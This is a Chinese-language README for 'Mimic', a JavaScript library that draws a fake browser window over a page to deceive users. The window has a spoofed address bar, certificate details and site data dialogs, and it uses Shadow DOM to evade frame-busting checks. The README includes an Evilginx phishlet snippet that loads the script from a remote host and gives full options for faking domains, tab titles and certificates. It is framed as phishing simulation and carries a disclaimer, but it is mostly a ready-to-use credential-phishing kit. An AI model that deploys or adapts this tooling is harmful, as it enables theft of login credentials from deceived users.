无框架的浏览器中的浏览器(BitB)——没有 iframe,也没有 frame-busting 问题。一个单脚本的 Shadow DOM / MutationObserver 库,用于逼真的钓鱼模拟,可轻松通过反向代理注入。
⚠️ 警告:请仅根据您当前的法律使用本软件。滥用本软件可能会引发法律和道德问题,我不支持也不对此承担任何责任。
MalwareMonster 和我在大约七年前开发了一个与此思路相同的概念验证项目,名为 FISHY。该项目成功展示了 BitB 攻击向量,尽管可用性明显有限。大约两年后,mrd0x 通过他的 BITB 项目将这一概念带入了安全研究社区,引起了更广泛的关注。然而,对 iframe 的严重依赖被证明与现代的 frame-busting 技术不兼容。虽然可以使用替换手段来重写 frame-busting JavaScript,但这种方法非常繁琐,并且需要持续调整。
大约两年后,waelmas 发布了 frameless-bitb,其中引入了一种特别巧妙的机制。通过使用 Shadow DOM 配合 MutationObserver 来代替 iframe,他实际上将钓鱼内容重新分配到了主文档中的一个 div 中。关键在于,这些内容仍然是主 DOM 的一部分,而不是位于一个独立的框架中。由于钓鱼页面本身仍然是主 DOM,frame-busting 例程从一开始就不会被触发。这解决了核心的技术障碍,代表了向前迈出的重要一步,并为后续改进提供了坚实的概念基础。
waelmas 实际上通过这一创新将接力棒传回给了我们。他的实现采用了更分布式的架构,需要安装服务、配置 Apache、分离的 HTML、CSS 和 JavaScript 文件、不同的用户界面,以及静态的操作系统选择(要么是 Windows,要么是 macOS),而没有动态浏览器检测。虽然考虑到概念验证的性质,这些元素是合理的,但我们认识到,核心的 Shadow DOM 和 MutationObserver 逻辑可以被隔离出来,并通过单个脚本直接注入到我们现有的 Evilginx 反向代理中。这使我们能够生成一个轻量级、无依赖的 JavaScript 库,它可以在任何网页中渲染一个逼真的假浏览器,而无需 iframe,同时保留了 waelmas 最初开创的创造性绕过技术。
Mimic 会在当前网页之上创建一个逼真的假浏览器,包括地址栏、窗口控制、站点信息、证书详情、Cookie 和站点数据、主题以及针对不同操作系统的样式。
Mimic 不是在 iframe 中加载目标网站,而是获取实际网站的 DOM,并将其直接注入到假浏览器的视口中。
假浏览器本身位于一个开放的 Shadow DOM 中,从而将其样式与网站隔离开来。网站仍然保留在 light DOM 中,并通过以下方式插入到假浏览器中:
<slot name="mimic-content"></slot>
如果未提供 content,Mimic 会自动捕获当前页面,将其现有的 body 内容移动到一个内部包装器中。在将网站注入假浏览器之前,它会保留重要的样式,例如背景、文本颜色、字体、字号和行高。
由于网站是被移入假浏览器,而不是嵌入到另一个浏览上下文中,因此它仍然是真正的顶级页面。
这意味着传统的基于 iframe 的 frame-busting 检查,例如:
if (top !== self) {
top.location = self.location;
}
不会触发,因为:
top === self
网站仍然认为自己是以顶级页面的身份运行。当页面在视觉上被包含在假浏览器中时,它现有的 JavaScript、事件、存储、导航和应用逻辑都会继续正常运行。
Mimic 还会自动缩放注入的网站,以适应假浏览器的视口。滚动通过平移内容层来实现,而 resize 监听器和 MutationObserver 会在网站加载或变化时重新测量内容。
还可以使用 documentTitle 和 documentFavicon 控制真实的浏览器标签页。Mimic 会监视这两个值,如果网站试图更改它们,则将其恢复。
Mimic 是视觉封装,而不是 JavaScript 沙箱。 被注入的网站仍然可以访问真实的
window、document、存储、历史和导航 API。
将此内容添加到您的 phishlet YAML 中,以注入 Mimic:
script: |
// Inject the BitB script
(function () {
window.addEventListener('load', () => {
var s = document.createElement('script');
s.src = 'https://0x4meliorate.github.io/Mimic/mimic.js';
s.onload = function () {
openBrowserWindow({ debug: false });
};
document.body.appendChild(s);
});
})();
配置可以直接在 mimic.js 的 CONFIG 中修改,也可以在调用函数(openBrowserWindow)时作为参数传入:
openBrowserWindow({
// Displayed URL
domain: 'example.com',
addressText: '/login',
scheme: 'https://',
// Fake browser
pageTitle: 'Example - Sign in',
favicon: 'https://example.com/favicon.ico',
// Real browser tab
documentTitle: 'Example App',
documentFavicon: 'https://example.com/app.ico',
// Content
// HTMLElement, CSS selector, HTML string, or function
// Leave empty to capture the current website automatically
content: '',
contentWidth: 0,
// Fake browser size
windowWidth: 'min(800px, 95vw)',
windowHeight: 'min(650px, 90vh)',
// Browser-style links
learnMoreUrl: 'https://example.com/security',
siteSettingsUrl: 'https://example.com/settings',
// Cookie summary
cookies: {
sitesAllowed: '5 sites allowed'
},
// Behaviour
autoOpen: false,
os: null, // null (auto) | 'mac' | 'windows' | 'linux'
theme: 'auto', // 'auto' | 'light' | 'dark'
debug: false,
onClose: null,
// Landing page
landing: true, // true | false | custom HTML string
enterSelector: '#landingpage-enter-btn',
// On-device site data
siteData: {
intro: 'Sites may save activity to your device.',
manageLinkText: 'Manage site data',
manageUrl: '',
sections: [
{
title: "Data from the site that you're visiting",
description: 'Information stored by this site.',
sites: [
{ name: 'example.com' },
{
name: 'cdn.example.com',
subtitle: 'Additional site information'
}
]
}
]
},
// Certificate viewer
certificate: {
subject: {
commonName: 'example.com',
organisation: 'Example Corporation',
organisationalUnit: '<Not part of certificate>'
},
issuer: {
commonName: 'Example TLS CA',
organisation: 'Example Certificate Authority',
organisationalUnit: '<Not part of certificate>'
},
validity: {
issuedOn: '10 August 2026',
expiresOn: '18 November 2026'
},
fingerprints: {
certificate: '...',
publicKey: '...'
},
hierarchy: {
name: 'Example Root CA',
children: [
{
name: 'Example Intermediate CA'
}
]
},
fields: {
name: 'example.com',
children: [
{
name: 'Certificate',
children: [
{ name: 'Version', value: 'V3' },
{ name: 'Serial Number', value: '...' },
{ name: 'Subject', value: 'CN = example.com' }
]
}
]
}
}
});
捕获并注入当前网站:
openBrowserWindow();
打开时不显示落地页:
openBrowserWindow({
landing: false
});
自动打开假浏览器窗口:
openBrowserWindow({
autoOpen: true
});
启用调试(操作系统与主题切换):
openBrowserWindow({
debug: true
});
手动覆盖外观:
openBrowserWindow({
os: 'windows',
theme: 'dark'
});
设置假浏览器窗口内容(要注入假浏览器的元素、选择器、HTML 字符串或函数):
openBrowserWindow({
content: '#page-content'
});
| Option | 描述 |
|---|
domain | 假地址栏中显示的域名 |
addressText | 显示在域名之后的路径和查询 |
scheme | 显示的 URL 协议(scheme) |
pageTitle | 假浏览器窗口标题 |
favicon | 假浏览器 favicon(站点图标) |
documentTitle | 真实浏览器标签页标题 |
documentFavicon | 真实浏览器标签页 favicon |
content | 要注入假浏览器的元素、选择器、HTML 字符串或函数 |
contentWidth | 缩放注入网站时使用的基础宽度 |
windowWidth | 假浏览器宽度 |
windowHeight | 假浏览器高度 |
learnMoreUrl | 安全“了解更多”链接的目标地址 |
siteSettingsUrl | 站点设置的目标地址 |
cookies | Cookie 摘要配置 |
autoOpen | 创建落地页时自动打开假浏览器 |
os | null、mac、windows 或 linux;null 使用自动检测 |
theme | auto、light 或 dark |
debug | 显示操作系统和主题切换器 |
onClose | 假浏览器关闭时调用的函数 |
landing | 启用、禁用或替换落地页 |
enterSelector | 用于打开假浏览器的落地元素的选择器 |
siteData | 配置设备上的站点数据对话框 |
certificate | 配置证书查看器 |